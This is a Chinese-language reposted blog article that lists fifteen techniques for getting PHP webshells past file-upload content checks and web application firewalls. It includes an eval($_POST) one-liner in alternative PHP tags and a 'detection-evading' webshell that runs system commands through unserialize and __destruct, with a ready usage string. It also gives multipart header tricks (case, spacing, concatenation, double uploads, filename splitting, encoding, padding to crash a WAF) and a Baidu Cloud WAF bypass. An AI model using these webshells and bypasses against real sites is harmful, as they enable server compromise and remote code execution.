文件上傳對文件內容檢測時繞過


1.先假設一個前提,可以上傳.htaccess或者.user.ini
因為不知道目標使用的是 nginx 還是 Apache,所以給兩個參考鏈接
如果是nginx可以看看我這篇文章的0x01 CheckIn:https://www.cnpanda.net/ctf/383.html
如果是apache可以看看這篇文章:https://thibaud-robin.fr/articles/bypass-filter-upload/
2.如果檢測是<?php ?>
可以試一試使用其他標簽,如

<script language="php">
 eval($_POST[2333]);
</script>

這個要求php<7
或者

<?
...
?>

3.如果檢測的不是php標簽,是敏感內容的話,這里送你一個免殺php馬

<?php

if (isset($_POST['run'])) {
  class HandShip {
     public $name;
     public $male;
     function __destruct() {
        $allin = $this->name;
        $allin($this->male);
     }
  }
if(md5($_POST['code'])=='ce61649168c4550c2f7acab92354dc6e'){

  unserialize($_POST['run']);
}
}
?>

用法:

run=O:8:"HandShip":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /home";};&code=panda

4.繞過思路:對文件的內容,數據。數據包進行處理。

關鍵點在這里Content-Disposition: form-data; name="file"; filename="ian.php"
form-data; 修改為~form-data;
5.通過替換大小寫來進行繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream

Content-Disposition 修改為content-Disposition
form-data 修改為Form-data
Content-Type 修改為content-Type
6.通過刪減空格來進行繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream

Content-Disposition: form-data 冒號后面 增加或減少一個空格
form-data; name="file"; 分號后面 增加或減少一個空格
Content-Type: application/octet-stream 冒號后面 增加一個空格
7.通過字符串拼接繞過

Content-Disposition: form-data; name="file"; filename="yjh3.php"
form-data 修改為 f+orm-data
from-data 修改為 form-d+ata
8.雙文件上傳繞過

<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上傳">
</form>

9.HTTP header 屬性值繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"
我們通過替換form-data*來繞過
Content-Disposition: *; name="file"; filename="yjh.php"
10.HTTP header 屬性名稱繞過
源代碼:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
Content-Type: image/png

繞過內容如下:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"

刪除掉ontent-Type: image/png只留下c,將.phpc后面即可,但是要注意額,雙引號要跟着c.php".
11.等效替換繞過
原內容:

Content-Type: multipart/form-data; boundary=---------------------------471463142114

修改后:

Content-Type: multipart/form-data; boundary =---------------------------471463142114

boundary后面加入空格。
12.修改編碼繞過
使用UTF-16Unicode雙URL編碼等等
13.WTS-WAF 繞過上傳
原內容:

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

添加回車

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

14.百度雲上傳繞過

百度雲繞過就簡單的很多很多,在對文件名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話自己合成圖片馬用Xise連接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
15.填充垃圾數據,造成溢出后使WAF崩掉

Content-Disposition: 字段溢出即可 比如Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA一直加就行了十萬++


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM